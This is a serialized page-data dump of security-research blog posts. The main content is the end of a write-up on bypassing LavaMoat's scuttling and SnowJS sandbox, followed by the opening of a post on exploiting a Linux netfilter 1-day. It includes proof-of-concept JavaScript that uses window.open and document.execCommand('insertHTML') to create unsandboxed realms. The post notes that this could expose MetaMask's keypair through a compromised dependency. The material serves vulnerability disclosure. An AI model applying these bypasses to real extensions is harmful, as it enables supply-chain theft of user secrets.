window.open('/non_existent');\nw.alert(document.domain)\n",[47045],{"type":23,"tag":64,"props":47046,"children":47047},{"__ignoreMap":7},[47048,47090],{"type":23,"tag":481,"props":47049,"children":47050},{"class":483,"line":484},[47051,47055,47060,47064,47068,47072,47077,47081,47086],{"type":23,"tag":481,"props":47052,"children":47053},{"style":497},[47054],{"type":28,"value":7139},{"type":23,"tag":481,"props":47056,"children":47057},{"style":508},[47058],{"type":28,"value":47059}," w",{"type":23,"tag":481,"props":47061,"children":47062},{"style":514},[47063],{"type":28,"value":517},{"type":23,"tag":481,"props":47065,"children":47066},{"style":508},[47067],{"type":28,"value":28923},{"type":23,"tag":481,"props":47069,"children":47070},{"style":525},[47071],{"type":28,"value":199},{"type":23,"tag":481,"props":47073,"children":47074},{"style":610},[47075],{"type":28,"value":47076},"open",{"type":23,"tag":481,"props":47078,"children":47079},{"style":525},[47080],{"type":28,"value":618},{"type":23,"tag":481,"props":47082,"children":47083},{"style":1805},[47084],{"type":28,"value":47085},"'/non_existent'",{"type":23,"tag":481,"props":47087,"children":47088},{"style":525},[47089],{"type":28,"value":1366},{"type":23,"tag":481,"props":47091,"children":47092},{"class":483,"line":351},[47093,47098,47102,47106,47110,47114,47118,47122],{"type":23,"tag":481,"props":47094,"children":47095},{"style":508},[47096],{"type":28,"value":47097},"w",{"type":23,"tag":481,"props":47099,"children":47100},{"style":525},[47101],{"type":28,"value":199},{"type":23,"tag":481,"props":47103,"children":47104},{"style":610},[47105],{"type":28,"value":30213},{"type":23,"tag":481,"props":47107,"children":47108},{"style":525},[47109],{"type":28,"value":618},{"type":23,"tag":481,"props":47111,"children":47112},{"style":508},[47113],{"type":28,"value":30223},{"type":23,"tag":481,"props":47115,"children":47116},{"style":525},[47117],{"type":28,"value":199},{"type":23,"tag":481,"props":47119,"children":47120},{"style":508},[47121],{"type":28,"value":30233},{"type":23,"tag":481,"props":47123,"children":47124},{"style":525},[47125],{"type":28,"value":675},{"type":23,"tag":24,"props":47127,"children":47128},{},[47129,47131,47136],{"type":28,"value":47130},"This opens a new window with a new JS Realm (another ",{"type":23,"tag":64,"props":47132,"children":47134},{"className":47133},[],[47135],{"type":28,"value":34935},{"type":28,"value":47137}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":23,"tag":24,"props":47139,"children":47140},{},[47141,47143,47150],{"type":28,"value":47142},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":23,"tag":190,"props":47144,"children":47147},{"href":47145,"rel":47146},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[194],[47148],{"type":28,"value":47149},"Metamask implementation",{"type":28,"value":642},{"type":23,"tag":7092,"props":47152,"children":47154},{"id":47153},"snowjs-attack-surface",[47155],{"type":28,"value":47156},"SnowJS Attack Surface",{"type":23,"tag":24,"props":47158,"children":47159},{},[47160],{"type":28,"value":47161},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":23,"tag":24,"props":47163,"children":47164},{},[47165,47167,47174],{"type":28,"value":47166},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":23,"tag":190,"props":47168,"children":47171},{"href":47169,"rel":47170},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[194],[47172],{"type":28,"value":47173},"hooked inserters",{"type":28,"value":47175}," functions:",{"type":23,"tag":435,"props":47177,"children":47179},{"className":28878,"code":47178,"language":28880,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[47180],{"type":23,"tag":64,"props":47181,"children":47182},{"__ignoreMap":7},[47183,47203,47224,47263,47317,47356,47455,47475,47496],{"type":23,"tag":481,"props":47184,"children":47185},{"class":483,"line":484},[47186,47190,47195,47199],{"type":23,"tag":481,"props":47187,"children":47188},{"style":497},[47189],{"type":28,"value":7139},{"type":23,"tag":481,"props":47191,"children":47192},{"style":508},[47193],{"type":28,"value":47194}," map",{"type":23,"tag":481,"props":47196,"children":47197},{"style":514},[47198],{"type":28,"value":517},{"type":23,"tag":481,"props":47200,"children":47201},{"style":525},[47202],{"type":28,"value":809},{"type":23,"tag":481,"props":47204,"children":47205},{"class":483,"line":351},[47206,47211,47215,47220],{"type":23,"tag":481,"props":47207,"children":47208},{"style":508},[47209],{"type":28,"value":47210}," Range:",{"type":23,"tag":481,"props":47212,"children":47213},{"style":525},[47214],{"type":28,"value":20531},{"type":23,"tag":481,"props":47216,"children":47217},{"style":1805},[47218],{"type":28,"value":47219},"'insertNode'",{"type":23,"tag":481,"props":47221,"children":47222},{"style":525},[47223],{"type":28,"value":11751},{"type":23,"tag":481,"props":47225,"children":47226},{"class":483,"line":531},[47227,47232,47236,47241,47245,47250,47254,47259],{"type":23,"tag":481,"props":47228,"children":47229},{"style":508},[47230],{"type":28,"value":47231}," DocumentFragment:",{"type":23,"tag":481,"props":47233,"children":47234},{"style":525},[47235],{"type":28,"value":20531},{"type":23,"tag":481,"props":47237,"children":47238},{"style":1805},[47239],{"type":28,"value":47240},"'replaceChildren'",{"type":23,"tag":481,"props":47242,"children":47243},{"style":525},[47244],{"type":28,"value":588},{"type":23,"tag":481,"props":47246,"children":47247},{"style":1805},[47248],{"type":28,"value":47249},"'append'",{"type":23,"tag":481,"props":47251,"children":47252},{"style":525},[47253],{"type":28,"value":588},{"type":23,"tag":481,"props":47255,"children":47256},{"style":1805},[47257],{"type":28,"value":47258},"'prepend'",{"type":23,"tag":481,"props":47260,"children":47261},{"style":525},[47262],{"type":28,"value":11751},{"type":23,"tag":481,"props":47264,"children":47265},{"class":483,"line":567},[47266,47271,47275,47279,47283,47287,47291,47295,47299,47304,47308,47313],{"type":23,"tag":481,"props":47267,"children":47268},{"style":508},[47269],{"type":28,"value":47270}," Document:",{"type":23,"tag":481,"props":47272,"children":47273},{"style":525},[47274],{"type":28,"value":20531},{"type":23,"tag":481,"props":47276,"children":47277},{"style":1805},[47278],{"type":28,"value":47240},{"type":23,"tag":481,"props":47280,"children":47281},{"style":525},[47282],{"type":28,"value":588},{"type":23,"tag":481,"props":47284,"children":47285},{"style":1805},[47286],{"type":28,"value":47249},{"type":23,"tag":481,"props":47288,"children":47289},{"style":525},[47290],{"type":28,"value":588},{"type":23,"tag":481,"props":47292,"children":47293},{"style":1805},[47294],{"type":28,"value":47258},{"type":23,"tag":481,"props":47296,"children":47297},{"style":525},[47298],{"type":28,"value":588},{"type":23,"tag":481,"props":47300,"children":47301},{"style":1805},[47302],{"type":28,"value":47303},"'write'",{"type":23,"tag":481,"props":47305,"children":47306},{"style":525},[47307],{"type":28,"value":588},{"type":23,"tag":481,"props":47309,"children":47310},{"style":1805},[47311],{"type":28,"value":47312},"'writeln'",{"type":23,"tag":481,"props":47314,"children":47315},{"style":525},[47316],{"type":28,"value":11751},{"type":23,"tag":481,"props":47318,"children":47319},{"class":483,"line":678},[47320,47325,47329,47334,47338,47343,47347,47352],{"type":23,"tag":481,"props":47321,"children":47322},{"style":508},[47323],{"type":28,"value":47324}," Node:",{"type":23,"tag":481,"props":47326,"children":47327},{"style":525},[47328],{"type":28,"value":20531},{"type":23,"tag":481,"props":47330,"children":47331},{"style":1805},[47332],{"type":28,"value":47333},"'appendChild'",{"type":23,"tag":481,"props":47335,"children":47336},{"style":525},[47337],{"type":28,"value":588},{"type":23,"tag":481,"props":47339,"children":47340},{"style":1805},[47341],{"type":28,"value":47342},"'insertBefore'",{"type":23,"tag":481,"props":47344,"children":47345},{"style":525},[47346],{"type":28,"value":588},{"type":23,"tag":481,"props":47348,"children":47349},{"style":1805},[47350],{"type":28,"value":47351},"'replaceChild'",{"type":23,"tag":481,"props":47353,"children":47354},{"style":525},[47355],{"type":28,"value":11751},{"type":23,"tag":481,"props":47357,"children":47358},{"class":483,"line":784},[47359,47364,47368,47373,47377,47382,47386,47391,47395,47400,47404,47409,47413,47417,47421,47426,47430,47434,47438,47443,47447,47451],{"type":23,"tag":481,"props":47360,"children":47361},{"style":508},[47362],{"type":28,"value":47363}," Element:",{"type":23,"tag":481,"props":47365,"children":47366},{"style":525},[47367],{"type":28,"value":20531},{"type":23,"tag":481,"props":47369,"children":47370},{"style":1805},[47371],{"type":28,"value":47372},"'innerHTML'",{"type":23,"tag":481,"props":47374,"children":47375},{"style":525},[47376],{"type":28,"value":588},{"type":23,"tag":481,"props":47378,"children":47379},{"style":1805},[47380],{"type":28,"value":47381},"'outerHTML'",{"type":23,"tag":481,"props":47383,"children":47384},{"style":525},[47385],{"type":28,"value":588},{"type":23,"tag":481,"props":47387,"children":47388},{"style":1805},[47389],{"type":28,"value":47390},"'insertAdjacentHTML'",{"type":23,"tag":481,"props":47392,"children":47393},{"style":525},[47394],{"type":28,"value":588},{"type":23,"tag":481,"props":47396,"children":47397},{"style":1805},[47398],{"type":28,"value":47399},"'replaceWith'",{"type":23,"tag":481,"props":47401,"children":47402},{"style":525},[47403],{"type":28,"value":588},{"type":23,"tag":481,"props":47405,"children":47406},{"style":1805},[47407],{"type":28,"value":47408},"'insertAdjacentElement'",{"type":23,"tag":481,"props":47410,"children":47411},{"style":525},[47412],{"type":28,"value":588},{"type":23,"tag":481,"props":47414,"children":47415},{"style":1805},[47416],{"type":28,"value":47249},{"type":23,"tag":481,"props":47418,"children":47419},{"style":525},[47420],{"type":28,"value":588},{"type":23,"tag":481,"props":47422,"children":47423},{"style":1805},[47424],{"type":28,"value":47425},"'before'",{"type":23,"tag":481,"props":47427,"children":47428},{"style":525},[47429],{"type":28,"value":588},{"type":23,"tag":481,"props":47431,"children":47432},{"style":1805},[47433],{"type":28,"value":47258},{"type":23,"tag":481,"props":47435,"children":47436},{"style":525},[47437],{"type":28,"value":588},{"type":23,"tag":481,"props":47439,"children":47440},{"style":1805},[47441],{"type":28,"value":47442},"'after'",{"type":23,"tag":481,"props":47444,"children":47445},{"style":525},[47446],{"type":28,"value":588},{"type":23,"tag":481,"props":47448,"children":47449},{"style":1805},[47450],{"type":28,"value":47240},{"type":23,"tag":481,"props":47452,"children":47453},{"style":525},[47454],{"type":28,"value":11751},{"type":23,"tag":481,"props":47456,"children":47457},{"class":483,"line":812},[47458,47463,47467,47471],{"type":23,"tag":481,"props":47459,"children":47460},{"style":508},[47461],{"type":28,"value":47462}," ShadowRoot:",{"type":23,"tag":481,"props":47464,"children":47465},{"style":525},[47466],{"type":28,"value":20531},{"type":23,"tag":481,"props":47468,"children":47469},{"style":1805},[47470],{"type":28,"value":47372},{"type":23,"tag":481,"props":47472,"children":47473},{"style":525},[47474],{"type":28,"value":11751},{"type":23,"tag":481,"props":47476,"children":47477},{"class":483,"line":825},[47478,47483,47487,47492],{"type":23,"tag":481,"props":47479,"children":47480},{"style":508},[47481],{"type":28,"value":47482}," HTMLIFrameElement:",{"type":23,"tag":481,"props":47484,"children":47485},{"style":525},[47486],{"type":28,"value":20531},{"type":23,"tag":481,"props":47488,"children":47489},{"style":1805},[47490],{"type":28,"value":47491},"'srcdoc'",{"type":23,"tag":481,"props":47493,"children":47494},{"style":525},[47495],{"type":28,"value":11751},{"type":23,"tag":481,"props":47497,"children":47498},{"class":483,"line":843},[47499],{"type":23,"tag":481,"props":47500,"children":47501},{"style":525},[47502],{"type":28,"value":14068},{"type":23,"tag":24,"props":47504,"children":47505},{},[47506],{"type":28,"value":47507},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":23,"tag":24,"props":47509,"children":47510},{},[47511],{"type":28,"value":47512},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":23,"tag":7092,"props":47514,"children":47516},{"id":47515},"bypassing-snowjs",[47517],{"type":28,"value":47518},"Bypassing SnowJS",{"type":23,"tag":24,"props":47520,"children":47521},{},[47522,47524,47535,47537,47543],{"type":28,"value":47523},"The deprecated ",{"type":23,"tag":190,"props":47525,"children":47528},{"href":47526,"rel":47527},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[194],[47529],{"type":23,"tag":64,"props":47530,"children":47532},{"className":47531},[],[47533],{"type":28,"value":47534},"document.execCommand",{"type":28,"value":47536}," function is used to execute commands inside a ",{"type":23,"tag":64,"props":47538,"children":47540},{"className":47539},[],[47541],{"type":28,"value":47542},"contenteditable",{"type":28,"value":47544}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":23,"tag":435,"props":47546,"children":47549},{"className":47547,"code":47548,"language":29898,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[47550],{"type":23,"tag":64,"props":47551,"children":47552},{"__ignoreMap":7},[47553],{"type":23,"tag":481,"props":47554,"children":47555},{"class":483,"line":484},[47556,47560,47564,47568,47572,47577,47582,47587,47592,47596],{"type":23,"tag":481,"props":47557,"children":47558},{"style":29891},[47559],{"type":28,"value":3282},{"type":23,"tag":481,"props":47561,"children":47562},{"style":497},[47563],{"type":28,"value":28861},{"type":23,"tag":481,"props":47565,"children":47566},{"style":508},[47567],{"type":28,"value":29971},{"type":23,"tag":481,"props":47569,"children":47570},{"style":525},[47571],{"type":28,"value":603},{"type":23,"tag":481,"props":47573,"children":47574},{"style":1805},[47575],{"type":28,"value":47576},"test",{"type":23,"tag":481,"props":47578,"children":47579},{"style":508},[47580],{"type":28,"value":47581}," contenteditable",{"type":23,"tag":481,"props":47583,"children":47584},{"style":508},[47585],{"type":28,"value":47586}," autofocus",{"type":23,"tag":481,"props":47588,"children":47589},{"style":29891},[47590],{"type":28,"value":47591},">\u003C/",{"type":23,"tag":481,"props":47593,"children":47594},{"style":497},[47595],{"type":28,"value":28861},{"type":23,"tag":481,"props":47597,"children":47598},{"style":29891},[47599],{"type":28,"value":3469},{"type":23,"tag":24,"props":47601,"children":47602},{},[47603,47605,47611,47613,47618],{"type":28,"value":47604},"After inserting this element to a page, it is possible to use ",{"type":23,"tag":64,"props":47606,"children":47608},{"className":47607},[],[47609],{"type":28,"value":47610},"insertHTML",{"type":28,"value":47612}," command of ",{"type":23,"tag":64,"props":47614,"children":47616},{"className":47615},[],[47617],{"type":28,"value":47534},{"type":28,"value":47619}," to add a non-sandboxed iframe.",{"type":23,"tag":435,"props":47621,"children":47623},{"className":28878,"code":47622,"language":28880,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[47624],{"type":23,"tag":64,"props":47625,"children":47626},{"__ignoreMap":7},[47627],{"type":23,"tag":481,"props":47628,"children":47629},{"class":483,"line":484},[47630,47634,47638,47643,47647,47652,47656,47660,47664,47669],{"type":23,"tag":481,"props":47631,"children":47632},{"style":508},[47633],{"type":28,"value":30223},{"type":23,"tag":481,"props":47635,"children":47636},{"style":525},[47637],{"type":28,"value":199},{"type":23,"tag":481,"props":47639,"children":47640},{"style":610},[47641],{"type":28,"value":47642},"execCommand",{"type":23,"tag":481,"props":47644,"children":47645},{"style":525},[47646],{"type":28,"value":618},{"type":23,"tag":481,"props":47648,"children":47649},{"style":1805},[47650],{"type":28,"value":47651},"'insertHTML'",{"type":23,"tag":481,"props":47653,"children":47654},{"style":525},[47655],{"type":28,"value":588},{"type":23,"tag":481,"props":47657,"children":47658},{"style":497},[47659],{"type":28,"value":5654},{"type":23,"tag":481,"props":47661,"children":47662},{"style":525},[47663],{"type":28,"value":588},{"type":23,"tag":481,"props":47665,"children":47666},{"style":1805},[47667],{"type":28,"value":47668},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":23,"tag":481,"props":47670,"children":47671},{"style":525},[47672],{"type":28,"value":1366},{"type":23,"tag":7092,"props":47674,"children":47676},{"id":47675},"impact-on-lavamoat-scuttling",[47677],{"type":28,"value":47678},"Impact On Lavamoat Scuttling",{"type":23,"tag":24,"props":47680,"children":47681},{},[47682],{"type":28,"value":47683},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":23,"tag":24,"props":47685,"children":47686},{},[47687,47689,47694,47696,47701],{"type":28,"value":47688},"For the exploit, the only used functions are in ",{"type":23,"tag":64,"props":47690,"children":47692},{"className":47691},[],[47693],{"type":28,"value":30223},{"type":28,"value":47695}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":23,"tag":64,"props":47697,"children":47699},{"className":47698},[],[47700],{"type":28,"value":34935},{"type":28,"value":47702}," object.",{"type":23,"tag":24,"props":47704,"children":47705},{},[47706,47708,47713],{"type":28,"value":47707},"Consider this example, which runs a scuttled ",{"type":23,"tag":64,"props":47709,"children":47711},{"className":47710},[],[47712],{"type":28,"value":30213},{"type":28,"value":22979},{"type":23,"tag":435,"props":47715,"children":47717},{"className":28878,"code":47716,"language":28880,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[47718],{"type":23,"tag":64,"props":47719,"children":47720},{"__ignoreMap":7},[47721,47757,47794,47837],{"type":23,"tag":481,"props":47722,"children":47723},{"class":483,"line":484},[47724,47728,47732,47736,47740,47744,47748,47753],{"type":23,"tag":481,"props":47725,"children":47726},{"style":508},[47727],{"type":28,"value":30223},{"type":23,"tag":481,"props":47729,"children":47730},{"style":525},[47731],{"type":28,"value":199},{"type":23,"tag":481,"props":47733,"children":47734},{"style":508},[47735],{"type":28,"value":29915},{"type":23,"tag":481,"props":47737,"children":47738},{"style":525},[47739],{"type":28,"value":199},{"type":23,"tag":481,"props":47741,"children":47742},{"style":508},[47743],{"type":28,"value":32489},{"type":23,"tag":481,"props":47745,"children":47746},{"style":514},[47747],{"type":28,"value":517},{"type":23,"tag":481,"props":47749,"children":47750},{"style":1805},[47751],{"type":28,"value":47752}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":23,"tag":481,"props":47754,"children":47755},{"style":525},[47756],{"type":28,"value":528},{"type":23,"tag":481,"props":47758,"children":47759},{"class":483,"line":351},[47760,47764,47768,47772,47776,47781,47785,47790],{"type":23,"tag":481,"props":47761,"children":47762},{"style":508},[47763],{"type":28,"value":30223},{"type":23,"tag":481,"props":47765,"children":47766},{"style":525},[47767],{"type":28,"value":199},{"type":23,"tag":481,"props":47769,"children":47770},{"style":610},[47771],{"type":28,"value":32514},{"type":23,"tag":481,"props":47773,"children":47774},{"style":525},[47775],{"type":28,"value":618},{"type":23,"tag":481,"props":47777,"children":47778},{"style":1805},[47779],{"type":28,"value":47780},"'test'",{"type":23,"tag":481,"props":47782,"children":47783},{"style":525},[47784],{"type":28,"value":18240},{"type":23,"tag":481,"props":47786,"children":47787},{"style":610},[47788],{"type":28,"value":47789},"focus",{"type":23,"tag":481,"props":47791,"children":47792},{"style":525},[47793],{"type":28,"value":1201},{"type":23,"tag":481,"props":47795,"children":47796},{"class":483,"line":531},[47797,47801,47805,47809,47813,47817,47821,47825,47829,47833],{"type":23,"tag":481,"props":47798,"children":47799},{"style":508},[47800],{"type":28,"value":30223},{"type":23,"tag":481,"props":47802,"children":47803},{"style":525},[47804],{"type":28,"value":199},{"type":23,"tag":481,"props":47806,"children":47807},{"style":610},[47808],{"type":28,"value":47642},{"type":23,"tag":481,"props":47810,"children":47811},{"style":525},[47812],{"type":28,"value":618},{"type":23,"tag":481,"props":47814,"children":47815},{"style":1805},[47816],{"type":28,"value":47651},{"type":23,"tag":481,"props":47818,"children":47819},{"style":525},[47820],{"type":28,"value":588},{"type":23,"tag":481,"props":47822,"children":47823},{"style":497},[47824],{"type":28,"value":5654},{"type":23,"tag":481,"props":47826,"children":47827},{"style":525},[47828],{"type":28,"value":588},{"type":23,"tag":481,"props":47830,"children":47831},{"style":1805},[47832],{"type":28,"value":47668},{"type":23,"tag":481,"props":47834,"children":47835},{"style":525},[47836],{"type":28,"value":1366},{"type":23,"tag":481,"props":47838,"children":47839},{"class":483,"line":567},[47840,47844,47848,47853,47857,47861,47866,47870,47875,47880,47884,47888,47892,47896,47900,47904],{"type":23,"tag":481,"props":47841,"children":47842},{"style":508},[47843],{"type":28,"value":30223},{"type":23,"tag":481,"props":47845,"children":47846},{"style":525},[47847],{"type":28,"value":199},{"type":23,"tag":481,"props":47849,"children":47850},{"style":610},[47851],{"type":28,"value":47852},"getElementsByTagName",{"type":23,"tag":481,"props":47854,"children":47855},{"style":525},[47856],{"type":28,"value":618},{"type":23,"tag":481,"props":47858,"children":47859},{"style":1805},[47860],{"type":28,"value":34248},{"type":23,"tag":481,"props":47862,"children":47863},{"style":525},[47864],{"type":28,"value":47865},")[",{"type":23,"tag":481,"props":47867,"children":47868},{"style":551},[47869],{"type":28,"value":1568},{"type":23,"tag":481,"props":47871,"children":47872},{"style":525},[47873],{"type":28,"value":47874},"].",{"type":23,"tag":481,"props":47876,"children":47877},{"style":508},[47878],{"type":28,"value":47879},"contentWindow",{"type":23,"tag":481,"props":47881,"children":47882},{"style":525},[47883],{"type":28,"value":199},{"type":23,"tag":481,"props":47885,"children":47886},{"style":610},[47887],{"type":28,"value":30213},{"type":23,"tag":481,"props":47889,"children":47890},{"style":525},[47891],{"type":28,"value":618},{"type":23,"tag":481,"props":47893,"children":47894},{"style":508},[47895],{"type":28,"value":30223},{"type":23,"tag":481,"props":47897,"children":47898},{"style":525},[47899],{"type":28,"value":199},{"type":23,"tag":481,"props":47901,"children":47902},{"style":508},[47903],{"type":28,"value":30233},{"type":23,"tag":481,"props":47905,"children":47906},{"style":525},[47907],{"type":28,"value":1366},{"type":23,"tag":7092,"props":47909,"children":47911},{"id":47910},"snowjs-patch",[47912],{"type":28,"value":47913},"SnowJS Patch",{"type":23,"tag":24,"props":47915,"children":47916},{},[47917,47919,47926,47928,47935],{"type":28,"value":47918},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":23,"tag":190,"props":47920,"children":47923},{"href":47921,"rel":47922},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[194],[47924],{"type":28,"value":47925},"browser feature within W3C standards",{"type":28,"value":47927},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":23,"tag":190,"props":47929,"children":47932},{"href":47930,"rel":47931},"https://github.com/weizman/Realms-Initialization-Control",[194],[47933],{"type":28,"value":47934},"Here",{"type":28,"value":47936}," is their new proposal.",{"type":23,"tag":31,"props":47938,"children":47940},{"id":47939},"chaining-the-impacts",[47941],{"type":28,"value":47942},"Chaining The Impacts",{"type":23,"tag":24,"props":47944,"children":47945},{},[47946],{"type":28,"value":47947},"We were able to find two vulnerabilities in lavamoat project:",{"type":23,"tag":73,"props":47949,"children":47950},{},[47951,47956],{"type":23,"tag":77,"props":47952,"children":47953},{},[47954],{"type":28,"value":47955},"Policy File Bypass",{"type":23,"tag":77,"props":47957,"children":47958},{},[47959],{"type":28,"value":47960},"Scuttling Bypass",{"type":23,"tag":24,"props":47962,"children":47963},{},[47964],{"type":28,"value":47965},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":23,"tag":24,"props":47967,"children":47968},{},[47969],{"type":28,"value":47970},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":23,"tag":31,"props":47972,"children":47973},{"id":26445},[47974],{"type":28,"value":16443},{"type":23,"tag":24,"props":47976,"children":47977},{},[47978],{"type":28,"value":47979},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":23,"tag":28861,"props":47981,"children":47982},{"style":28863},[47983],{"type":23,"tag":149,"props":47984,"children":47987},{"src":47985,"alt":47986,"style":28869},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":23,"tag":15916,"props":47989,"children":47991},{"className":47990,"dataFootnotes":7},[15919],[47992,47997],{"type":23,"tag":31,"props":47993,"children":47995},{"className":47994,"id":12970},[15924],[47996],{"type":28,"value":15927},{"type":23,"tag":73,"props":47998,"children":47999},{},[48000],{"type":23,"tag":77,"props":48001,"children":48002},{"id":27880},[48003,48005,48012,48013],{"type":28,"value":48004},"Excluding SES, which was covered ",{"type":23,"tag":190,"props":48006,"children":48009},{"href":48007,"rel":48008},"https://osec.io/blog/2023-11-01-metamask-snaps",[194],[48010],{"type":28,"value":48011},"in our last article",{"type":28,"value":3935},{"type":23,"tag":190,"props":48014,"children":48016},{"href":27908,"ariaLabel":16030,"className":48015,"dataFootnoteBackref":7},[16032],[48017],{"type":28,"value":16035},{"type":23,"tag":2918,"props":48019,"children":48020},{},[48021],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":48023},[48024,48028,48034,48040,48041,48042],{"id":16452,"depth":351,"text":16455,"children":48025},[48026,48027],{"id":26528,"depth":531,"text":26531},{"id":44645,"depth":531,"text":44648},{"id":45401,"depth":351,"text":45404,"children":48029},[48030,48031,48032,48033],{"id":45652,"depth":531,"text":45655},{"id":46127,"depth":531,"text":46130},{"id":46784,"depth":531,"text":46787},{"id":46907,"depth":531,"text":46910},{"id":47025,"depth":351,"text":47028,"children":48035},[48036,48037,48038,48039],{"id":47153,"depth":531,"text":47156},{"id":47515,"depth":531,"text":47518},{"id":47675,"depth":531,"text":47678},{"id":47910,"depth":531,"text":47913},{"id":47939,"depth":351,"text":47942},{"id":26445,"depth":351,"text":16443},{"id":12970,"depth":351,"text":15927},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":48047,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48048,"description":48049,"author":48050,"image":48051,"date":48053,"isFeatured":15,"tags":48054,"onBlogPage":15,"body":48057,"_type":358,"_id":58438,"_source":360,"_file":58439,"_stem":58440,"_extension":363},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":48052,"height":6748,"width":3199},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[48055,48056],"kernal","linux",{"type":20,"children":48058,"toc":58406},[48059,48072,48086,48091,48097,48107,48112,48118,48123,48141,48155,48164,48197,48202,48208,48227,48260,48266,48279,48489,48556,49120,49139,49364,49423,49429,49449,49489,49677,49682,49833,49889,49894,50408,50427,50696,50722,51231,51298,51304,51340,51345,51611,51644,51656,51683,51695,51700,51706,51727,51733,51754,51777,52609,52615,52655,53195,53206,53240,53307,53361,53593,53599,53643,54107,54113,54124,54154,54237,54242,54247,54283,54335,54366,54921,54927,54944,54950,54955,54961,54989,55182,55202,55218,55813,55819,55854,55877,55889,55895,55923,56520,56545,57514,57525,57538,57551,58317,58331,58337,58349,58355,58383,58388,58392,58397,58402],{"type":23,"tag":24,"props":48060,"children":48061},{},[48062,48064,48071],{"type":28,"value":48063},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":23,"tag":190,"props":48065,"children":48068},{"href":48066,"rel":48067},"https://google.github.io/security-research/kernelctf/rules.html",[194],[48069],{"type":28,"value":48070},"KernelCTF VRP",{"type":28,"value":199},{"type":23,"tag":24,"props":48073,"children":48074},{},[48075,48077,48084],{"type":28,"value":48076},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":23,"tag":190,"props":48078,"children":48081},{"href":48079,"rel":48080},"https://github.com/conlonialC",[194],[48082],{"type":28,"value":48083},"lonial con",{"type":28,"value":48085},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":23,"tag":24,"props":48087,"children":48088},{},[48089],{"type":28,"value":48090},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":23,"tag":31,"props":48092,"children":48094},{"id":48093},"the-kernel",[48095],{"type":28,"value":48096},"The kernel",{"type":23,"tag":24,"props":48098,"children":48099},{},[48100,48102],{"type":28,"value":48101},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, 